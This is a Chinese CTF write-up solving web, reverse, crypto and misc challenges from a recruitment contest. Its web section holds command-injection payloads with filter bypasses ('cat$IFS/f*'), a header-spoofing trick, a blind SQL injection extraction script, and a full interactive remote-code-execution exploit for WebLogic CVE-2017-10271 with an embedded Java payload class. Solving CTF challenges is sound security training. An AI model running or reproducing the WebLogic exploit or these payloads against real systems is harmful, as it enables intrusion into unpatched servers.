[青少年CTF]弱口令实验室招新赛部分WriteUp

Web

0x01 开胃菜

 
highlight_file(__FILE__);
if(strlen($_GET[1]&&$_GET[1]<=5)){
    echo strlen($_GET[1]);
    echo '
'
; echo shell_exec($_GET[1]); } ?>

签到题,直接GET请求 ?1=cat /flag 即可。

Tips:

​ 不是字符限制型命令执行,if判断中的strlen(GET[1]&&$GET[1]<=5)只会判断你是否传入参数和传入参数中的数字是否小于等于5,而不是判断传入字符串的长度。例如?1=5,返回TURE;?1=6,返回FALSE。

0x02 签到小能手

Flag就在这里哇!
<title>签到小能手</title>
<?php
print("

Flag就在这里哇!

"
); $FLAG="qsnctf{*********************}"; show_source("index.php"); ?>

使用目录扫描工具扫描得到index.php.bak文件,访问并下载该文件,打开即可获得flag(虽然靠直觉和经验也能猜出来)。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第1张图片

[青少年CTF]弱口令实验室招新赛部分WriteUp_第2张图片

0x03 小镇做题家

访问题目网址,二话不说,开扫!

[青少年CTF]弱口令实验室招新赛部分WriteUp_第3张图片

存在robots.txt(别问为什么要用bp,问就是别的扫描工具没扫出来)。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第4张图片

访问/GAME/,出现403,那就接着扫。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第5张图片

访问/GAME/index.html,转到一个贪吃蛇游戏界面。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第6张图片

F12查看源代码,找到js文件,修改吃到小球获得的数值(或者修改需要获得的分数,或者直接base64解码),获得flag所在地。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第7张图片

访问/GAME/f14g_in_there_hha/index.php,需要一个get请求,按照提示先访问一下a.txt

[青少年CTF]弱口令实验室招新赛部分WriteUp_第8张图片

[青少年CTF]弱口令实验室招新赛部分WriteUp_第9张图片

返回了文件内容,访问b.txt,同样返回了文件内容。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第10张图片

猜测执行语句为eval(system(“cat”+“$_GET[‘payload’]”));

构造pyload验证一下:?payload=a.txt;ls

[青少年CTF]弱口令实验室招新赛部分WriteUp_第11张图片

成功执行。接着查看根目录文件:?payload=;ls /

[青少年CTF]弱口令实验室招新赛部分WriteUp_第12张图片

空格被过滤掉了,那就用 I F S 代 替 , 构 造 p a y l o a d : ? p a y l o a d = ; l s IFS 代替,构造payload:?payload=;ls IFSpayload?payload=;lsIFS/

[青少年CTF]弱口令实验室招新赛部分WriteUp_第13张图片

发现flag文件,构造:?payload=;cat$IFS/flag

[青少年CTF]弱口令实验室招新赛部分WriteUp_第14张图片

发现无回显,猜测flag字符串被过滤,使用通配符绕过。

构造:?payload=;cat I F S / f l a ? 或 者 : ? p a y l o a d = ; c a t IFS/fla? 或者:?payload=;cat IFS/fla??payload=;catIFS/f*

[青少年CTF]弱口令实验室招新赛部分WriteUp_第15张图片

0x04 Queen

[青少年CTF]弱口令实验室招新赛部分WriteUp_第16张图片

有个登录框,先随便输点东西进去抓包试试。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第17张图片

发送到Repeater模块进行重发。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第18张图片

提示不是管理员IP,那就添加一个X-Forwarded-For头:X-Forwarded-For: 127.0.0.1,再次进行重发,出现302重定向。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第19张图片

出现特别的字符串,对字符串进行base64解密

[青少年CTF]弱口令实验室招新赛部分WriteUp_第20张图片

发现是刚刚我们传过来的账号和密码,关注重定向后回显登录失败。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第21张图片

猜测存在盲注,使用盲注语句进行测试。

先对语句进行base64加密。

user:admin’ and length((select database()))>1 – |pass:admin

[青少年CTF]弱口令实验室招新赛部分WriteUp_第22张图片

发包:

[青少年CTF]弱口令实验室招新赛部分WriteUp_第23张图片

更改语句再次进行加密。

user:admin’ and length((select database()))<1 – |pass:admin

[青少年CTF]弱口令实验室招新赛部分WriteUp_第24张图片

再次进行发包:

[青少年CTF]弱口令实验室招新赛部分WriteUp_第25张图片

两次回显不同,可以进行盲注。

盲注脚本:

'''
 # @Author: St1ck4r
 # @Date: 2022-11-16 09:12:20
 # @LastEditors: St1ck4r
 # @LastEditTime: 2022-11-17 10:36:03
 # @link: https://www.st1ck4r.top
'''

import requests
import base64

url = "{此处填写url地址}/check.php?data="
flag=""
data=""
header={"X-Forwarded-For":"127.0.0.1"}

# payload = "(select group_concat(table_name) from information_schema.`TABLES` where table_schema = database())"
# payload = "(select group_concat(column_name) from information_schema.`COLUMNS` where table_name='user')"
payload = "(select  group_concat(password) from user where username=\"flag\")"

for i in range(100):
    low = 32
    high = 128
    mid = (low+high)//2
    while low < high:
        data = "user:admin' and ascii(substr({},{},1))<{} -- |pass:admin".format(payload,str(i+1),str(mid))
        data=base64.b64encode(data.encode()).decode()
        new_url = url + data
        # print(new_url)                               
        res = requests.get(new_url,headers=header)

        if("登陆成功!但是你登陆成功我也不会给你Flag" in res.text):
            high = mid
        else:
            low = mid + 1
        mid=(low+high)//2

    if mid <= 32 or mid >= 127:
        break
    flag += chr(mid-1)
    # print(flag)
print(flag)

0x05 Weblogic

漏洞:CVE-2017-10271

网上随便搜个poc打一下就出来了,在这贴个漏洞复现贴。

weblogic XMLDecoder反序列化漏洞-CVE-2017-10271

附上做题脚本:

'''
 # @Author: St1ck4r
 # @Date: 2022-11-12 15:15:26
 # @LastEditors: St1ck4r
 # @LastEditTime: 2022-11-17 11:13:51
 # @poc: http://wiki.peiqi.tech
 # @link: https://www.st1ck4r.top
'''
import requests

def cve(url,command):
    poc_url=url+"wls-wsat/CoordinatorPortType"
    headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36',
    'Accept': 'textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Upgrade-Insecure-Requests': '1',
    'Content-Type': 'text/xml'
    }
    payload='''
    
        
            
                
                    
                        0xcafebabe0000003200670a001700350800360a003700380a0039003a08003b0a0039003c07003d0a0007003508003e0a0039003f0a003900400b004100420800430800440800450800460700470a001100480a001100490a0011004a0a004b004c07004d07004e0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c650100047468697301001e4c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578703b010003736179010029284c6a6176612f6c616e672f537472696e673b294c6a6176612f696f2f496e70757453747265616d3b010003636d640100124c6a6176612f6c616e672f537472696e673b01000769734c696e75780100015a0100056f73547970010004636d64730100104c6a6176612f7574696c2f4c6973743b01000e70726f636573734275696c64657201001a4c6a6176612f6c616e672f50726f636573734275696c6465723b01000470726f630100134c6a6176612f6c616e672f50726f636573733b0100164c6f63616c5661726961626c65547970655461626c650100244c6a6176612f7574696c2f4c6973743c4c6a6176612f6c616e672f537472696e673b3e3b01000d537461636b4d61705461626c6507004f07005001000a457863657074696f6e7307005101000a536f7572636546696c6501000b586d6c4578702e6a6176610c001800190100076f732e6e616d650700520c0053005407004f0c0055005601000377696e0c005700580100136a6176612f7574696c2f41727261794c697374010004244e4f240c0059005a0c005b005c0700500c005d005e0100092f62696e2f626173680100022d63010007636d642e6578650100022f630100186a6176612f6c616e672f50726f636573734275696c6465720c0018005f0c006000610c006200630700640c0065006601001c636f6d2f737570657265616d2f6578706c6f6974732f586d6c4578700100106a6176612f6c616e672f4f626a6563740100106a6176612f6c616e672f537472696e6701000e6a6176612f7574696c2f4c6973740100136a6176612f6c616e672f457863657074696f6e0100106a6176612f6c616e672f53797374656d01000b67657450726f7065727479010026284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e673b01000b746f4c6f7765724361736501001428294c6a6176612f6c616e672f537472696e673b010008636f6e7461696e7301001b284c6a6176612f6c616e672f4368617253657175656e63653b295a01000a73746172747357697468010015284c6a6176612f6c616e672f537472696e673b295a010009737562737472696e670100152849294c6a6176612f6c616e672f537472696e673b010003616464010015284c6a6176612f6c616e672f4f626a6563743b295a010013284c6a6176612f7574696c2f4c6973743b295601001372656469726563744572726f7253747265616d01001d285a294c6a6176612f6c616e672f50726f636573734275696c6465723b010005737461727401001528294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0021001600170000000000020001001800190001001a0000002f00010001000000052ab70001b100000002001b00000006000100000007001c0000000c000100000005001d001e00000001001f00200002001a0000016f000300070000009c043d1202b800034e2dc600112db600041205b60006990005033dbb000759b700083a042b1209b6000a99001319042b07b6000bb9000c020057a700441c9900231904120db9000c0200571904120eb9000c02005719042bb9000c020057a700201904120fb9000c02005719041210b9000c02005719042bb9000c020057bb0011591904b700123a05190504b60013571905b600143a061906b60015b000000004001b0000004a001200000012000200130008001400180015001a00180023001a002c001b003c001c0040001d004a001e0054001f00600021006a002200740023007d002600880027008f002800960029001c0000004800070000009c001d001e00000000009c0021002200010002009a00230024000200080094002500220003002300790026002700040088001400280029000500960006002a002b0006002c0000000c0001002300790026002d0004002e000000110004fd001a0107002ffc0021070030231c0031000000040001003200010033000000020034
                    
                    
                        
                            com.supeream.exploits.XmlExp
                            
                            
                                
                                    echo CVE-2017-10271;'''+(command)+'''
                                
                            
                        
                    
                    
                        
                            
                                
                                    
                                        
                                    
                                    
                                
                                
                            
                        
                    
                
            
        
        
    
    '''
    try:
        res=requests.post(poc_url,data=payload,headers=headers,timeout=5)
        print(res.text)
    except:
        exit("错误!")

if __name__ =='__main__':
    url=input("输入目标url: ")
    while 1:
        command=input("输入需要执行的命令(退出:ctrl+c): ")
        cve(url,command)

0x06 Discuz

也是找个poc打就行,贴个原帖照着做。

discuz7.2漏洞复现–python编写poc

偷懒ing…

Reverse

0x01 Check

直接拖到IDA(64位)分析,找到main函数,然后F5查看伪代码。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第26张图片

看到一个可疑的函数,点击跟进:

[青少年CTF]弱口令实验室招新赛部分WriteUp_第27张图片

又看到check3,继续跟进:

[青少年CTF]弱口令实验室招新赛部分WriteUp_第28张图片

发现flag字样,接着往下翻:

[青少年CTF]弱口令实验室招新赛部分WriteUp_第29张图片

发现一段简单的加密,解密后就是flag。

编写解密脚本:

'''
 # @Author: St1ck4r
 # @Date: 2022-11-12 13:43:34
 # @LastEditors: St1ck4r
 # @LastEditTime: 2022-11-17 11:37:20
 # @link: https://www.st1ck4r.top
'''

i=[113,114,108,96,112,99,125,74,56,113,59,101,83,65,97,121,117,78,107,124,97,52,107]
flag=''
for j in range(0,len(i)):
    flag+=chr(j^i[j])
    print(j^i[0])
print(flag)

0x02 LookThis

使用jadx工具打开,flag就在在res/mipmap-xhdpi目录下。。。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第30张图片

吐槽:

​ 这™也叫逆向题???跟隔壁开发大佬研究了半天那俩框,你告诉我flag是张图片???这完全是misc的范畴吧!!!

还有另一种不用逆向工具的方法:apk改zip,解压然后进入文件夹搜索png。。。。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第31张图片

0x03 md5

[青少年CTF]弱口令实验室招新赛部分WriteUp_第32张图片

题目提示flag是一串数字,盲猜flag是1314521或者1314520。(忘记答案是哪个了)

Crypto

0x01 82.83.65

import gmpy2
import libnum
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex

flag = b"*********************"

p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551

e = 65533
n = p*q

d = gmpy2.invert(e,(p-1)*(q-1))
# print(d)
c = pow(int(b2a_hex(flag),16),e,n)
print(c)
# C = 31021919570683223794356421266753186826747161146739784961769368259629146487802

解题脚本:

'''
 # @Author: St1ck4r
 # @Date: 2022-11-12 12:17:02
 # @LastEditors: St1ck4r
 # @LastEditTime: 2022-11-17 16:27:40
 # @link: https://www.st1ck4r.top
'''
import gmpy2
from Crypto.Util.number import *


p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551
e = 65533
n = p*q

c = 31021919570683223794356421266753186826747161146739784961769368259629146487802

phi_n = (p-1) * (q-1)
d = gmpy2.invert(e, phi_n)

m = pow(c, d, n)
print(long_to_bytes(m))

0x02 Snake

[青少年CTF]弱口令实验室招新赛部分WriteUp_第33张图片

第二行逆序输出一下就行了。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第34张图片

然后16进制转字符串就能得到flag。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第35张图片

0x03 CryptoSOS

[青少年CTF]弱口令实验室招新赛部分WriteUp_第36张图片

猜测密码类型为仿射密码(其实不是猜的,在群里刚好看到有人提了一嘴仿射密码),拿出现成的脚本跑就完事了。

爆破a和b。

'''
 # @Author: 风二西
 # @Date: 2022-11-16 11:28:01
 # @LastEditors: St1ck4r
 # @LastEditTime: 2022-11-17 16:45:57
 # @link: https://www.st1ck4r.top
'''

c='bvkr'
m='qsnc'
for i in range (1,27):
   for j in range(1,27):
       if 'b'==chr((i*(ord("q")-ord('a'))+j)%26+ord('a'))  and 'v'==chr((i*(ord("s")-ord('a'))+j)%26+ord('a')) and 'k'==chr((i*(ord("n")-ord('a'))+j)%26+ord('a')):
           print(i,j)

解密:

'''
 # @Author: 风二西
 # @Date: 2022-11-16 11:28:01
 # @LastEditors: St1ck4r
 # @LastEditTime: 2022-11-17 16:45:57
 # @link: https://www.st1ck4r.top
'''

a=23
b=23
flag=''
c='bvkrsi{o990o395-i7u7-4llo-u084-x2i4590ou34l}'
for i in c:
   if ord(i)>=ord("a") and ord(i)<ord("z"):
       for j in range(0, 26):
           if i==chr((a * j+ b) % 26+ord('a')):
               flag += chr(j+ord('a'))
               break
   else:
       flag+=i
print(flag)

0x04 babyrsa RSbaby

题目:

from base64 import b64encode as b32encode
from gmpy2 import invert,gcd,iroot
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
import random

flag = "*************"

nbit = 128

p = getPrime(nbit)
q = getPrime(nbit)
n = p*q

print p
print n

phi = (p-1)*(q-1)

e = random.randint(20000,50000)

while True:
	if gcd(e,phi) == 1:
		break;
	else:
		e -= 1;

c = pow(int(b2a_hex(flag),16),e,n)

print b32encode(str(c))[::-1]

print str(c)

# 20392798836838831460465406987101354448592610558736461081264936079945558905138


# hint.txt:
'''
p = 185392927331398754034773152474166007097
n = 33047182186833739970146873552408478599841138065558351794468963853252513446871
c = =gzMxUDM5gTN1UDN5kzNwYzM5QjNyEDOwEjN0YzM3gTN1ATM2ITO1gDN0QTNzEDMxcDO5YDM0UjN0AjN0EzM4gzM4YzM4gTO3ITOzAjM

d = 31200610308838330418738083846609924368565386173844073395497307508159060263473
'''

只有e值的取值范围,所以需要把e爆破出来。

解题脚本:

'''
 # @Author: St1ck4r
 # @Date: 2022-11-14 18:21:54
 # @LastEditors: St1ck4r
 # @LastEditTime: 2022-11-17 16:50:40
 # @link: https://www.st1ck4r.top
'''

import gmpy2
import base64
from Crypto.Util.number import *

p = 185392927331398754034773152474166007097
n = 33047182186833739970146873552408478599841138065558351794468963853252513446871
q = n//p
c = '=gzMxUDM5gTN1UDN5kzNwYzM5QjNyEDOwEjN0YzM3gTN1ATM2ITO1gDN0QTNzEDMxcDO5YDM0UjN0AjN0EzM4gzM4YzM4gTO3ITOzAjM'
c = int(base64.b64decode(c[::-1]))
# c = 20392798836838831460465406987101354448592610558736461081264936079945558905138 #密文加密脚本中已给出,可以不用上面的解码
phi_n = (p - 1) * (q - 1)

for e in range(20000,50000):
	if gmpy2.gcd(e, phi_n) == 1:
		d = gmpy2.invert(e, phi_n)
		m = long_to_bytes(pow(c, d, n))
		if 'qsnctf' in str(m):
			print(m)
		else:
			continue

0x05 What

[青少年CTF]弱口令实验室招新赛部分WriteUp_第37张图片

提示key值是3位,盲猜一波qsn

维吉尼亚密码解密:

[青少年CTF]弱口令实验室招新赛部分WriteUp_第38张图片

0x05 奇怪又奇怪

[青少年CTF]弱口令实验室招新赛部分WriteUp_第39张图片

解密顺序:

base64 > DES > RC4 > RC4(但凡需要密钥的地方一律都是qsnctf)

https://www.sojson.com/encrypt_des.html

[青少年CTF]弱口令实验室招新赛部分WriteUp_第40张图片

Misc

0x01 签到

扫描二维码关注微信公众号,然后发送cat /flag。

0x02 EasyMisc

打开word文档,发现一片空白。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第41张图片

在设置中打开显示隐藏文字。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第42张图片

发现有东西了,但是是一片空白。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第43张图片

给文字上个色。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第44张图片

发现base64编码,复制出来进行解密(如果复制不出来就全选然后右键–>字体,把隐藏取消掉就能复制了)

[青少年CTF]弱口令实验室招新赛部分WriteUp_第45张图片

解密出来发现是一个zip文件的16进制,使用010editor查看。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第46张图片

0x03 奇怪又不奇怪

image-20221117172647392

原神提瓦特须弥沙漠文。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第47张图片

0x04 做什么题啊来振刀啊

[青少年CTF]弱口令实验室招新赛部分WriteUp_第48张图片

打开key1.txt,往下翻看到一大堆意义不明的数字,猜测是rgb颜色数字

[青少年CTF]弱口令实验室招新赛部分WriteUp_第49张图片

将前面的干扰项删除,然后编写RGB颜色转图片脚本:

'''
 # @Author: St1ck4r
 # @Date: 2022-11-12 16:53:52
 # @LastEditors: St1ck4r
 # @LastEditTime: 2022-11-17 17:50:49
 # @link: https://www.st1ck4r.top
'''

from PIL import Image

x = 2305 # 宽 
y = 1181 # 高
# 对txt里的行数进行整数分解


im = Image.new("RGB",(x,y)) #创建图片
file = open('KEY1.txt')     #打开rbg值文件

#通过一个个rgb点生成图片
for i in range(0,x):
    for j in range(0,y):
        line = file.readline()#获取一行
        rgb = line.split(" ")#根据空格分离rgb
        im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))#rgb转化为像素
im.show()

[青少年CTF]弱口令实验室招新赛部分WriteUp_第50张图片

获得key2.zip的密码,解压又得到一张图片。

lsb隐写,使用cloacked-pixel脚本进行解密,密码是第一张图片上的字符串。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第51张图片

得到密文,与之前xsctf招新赛上一道题类似,直接套用脚本即可。

code = ['xxsft','xxftc','xxfcx','xxffc','xxfcf','xxfxs','xxtfx','xxsff','xxfsf','xxffx','xxfsf','xxtcc','xxfxx','xxtfcs']

def decode(code):
    res = []
    for i in code:
        tmp = i.replace("x","0")
        i = tmp
        tmp = i.replace("s","1")
        i = tmp
        tmp = i.replace("c","2")
        i = tmp
        tmp = i.replace("t","3")
        i = tmp
        tmp = i.replace("f","4")
        res.append(tmp)
    return res

def change(code):
    res = []
    for i in code:
        tmp = int(i[0])*pow(5,4)+int(i[1])*pow(5,3)+int(i[2])*pow(5,2)+int(i[3])*pow(5,1)+int(i[4])*pow(5,0)
        res.append(tmp)
    return res

if __name__ == "__main__":
    flag = change(decode(code))
    true_flag = ""
    for i in flag:
        true_flag+=chr(i)
    print (true_flag)

解密得到flag.zip的密码,解压后得到一张gif图片,对每帧图片进行保存(用wps图片查看器可以直接保存)

[青少年CTF]弱口令实验室招新赛部分WriteUp_第52张图片

[青少年CTF]弱口令实验室招新赛部分WriteUp_第53张图片

使用PS进行拼接,得到一个完整的二维码,扫描即可获得flag。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第54张图片

0x05 ScanQR

解压获得一张汉信码。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第55张图片

使用手机软件中国编码进行扫描(原来有个在线解码网站,不知道为啥不能用了)。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第56张图片

访问网址。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第57张图片

得到密文,丢到cyberchef里解密。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第58张图片

得到png文件的16进制文本,转换得到一张缺失定位角的二维码。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第59张图片

image-20221117190349115

随便找张二维码把它的定位点(角上的三个小方框)扣下来再贴到这个上面,然后扫描即可得到flag。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第60张图片

0x06 EasySo

提示PS。

ps打开该图片,用吸管工具吸取上面的颜色,将最后两位数字连起来然后16进制转文本得到的就是flag。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第61张图片

0x07 Cookie怎么分

binwalk分离流量包。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第62张图片

[青少年CTF]弱口令实验室招新赛部分WriteUp_第63张图片

[青少年CTF]弱口令实验室招新赛部分WriteUp_第64张图片

得到两个zip文件的16进制文本,转化为zip‘文件后解压,base_1.zip存在加密,爆破后获得密码20221108。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第65张图片

[青少年CTF]弱口令实验室招新赛部分WriteUp_第66张图片

将两张图片拼接后发现少一部份

[青少年CTF]弱口令实验室招新赛部分WriteUp_第67张图片

用010editor打开flag_base_0.png,将图片改成和flag_base_1.png一样的高度。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第68张图片

[青少年CTF]弱口令实验室招新赛部分WriteUp_第69张图片

此时拼接两张图片,使用OCR文字识别或者手敲(我反正没识别出来,手敲得,如果有人能识别出来,请告诉我用的哪款神仙软件)将图片上的内容全部弄出来。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第70张图片

然后base64转图片获得后半部分的flag。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第71张图片

打开流量包,追踪tcp流,翻到71流获得一串base64密文。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第72张图片

base64解密获得前半部分flag。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第73张图片

0x08 吉他

下载附件解压后获得两个压缩包,解压吉他.zip获得一个acc文件。

image-20221118093854248

用010editor打开该文件,搜索"qsnctf",找到第一段flag(此处是qnsctf,记得修改)。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第74张图片

根据提示猜测吉他.7z的密码为jita,解压获得一张吉他的图片。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第75张图片

[青少年CTF]弱口令实验室招新赛部分WriteUp_第76张图片

使用010editor打开该图片,翻到末尾获得第二段flag。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第77张图片

使用steghide提取图片中隐藏的文件,密码是吉他的英语 guitar。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第78张图片

打开flag.txt获得最后一段flag。

[青少年CTF]弱口令实验室招新赛部分WriteUp_第79张图片

对末心欧巴表示感谢!!!

[青少年CTF]弱口令实验室招新赛部分WriteUp_第80张图片

最后,附上比赛官方正版WP!!!

弱口令实验室招新赛CTF赛道赛题WriteUp

你可能感兴趣的:(python,网络安全,安全,经验分享,php)